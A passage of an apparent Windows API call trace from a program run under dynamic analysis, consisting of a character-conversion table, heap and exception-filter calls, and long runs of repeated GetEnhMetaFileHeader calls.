¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb4\xf8\xb7\x42\xe4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0028.155] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4091c1) returned 0x0 [0028.155] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xd05598) returned 0x80 [0028.156] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xd05598) returned 0x80 [0028.156] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xd05598) returned 0x80 [0028.156] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xd05598) returned 0x80 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.157] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.158] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.159] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, 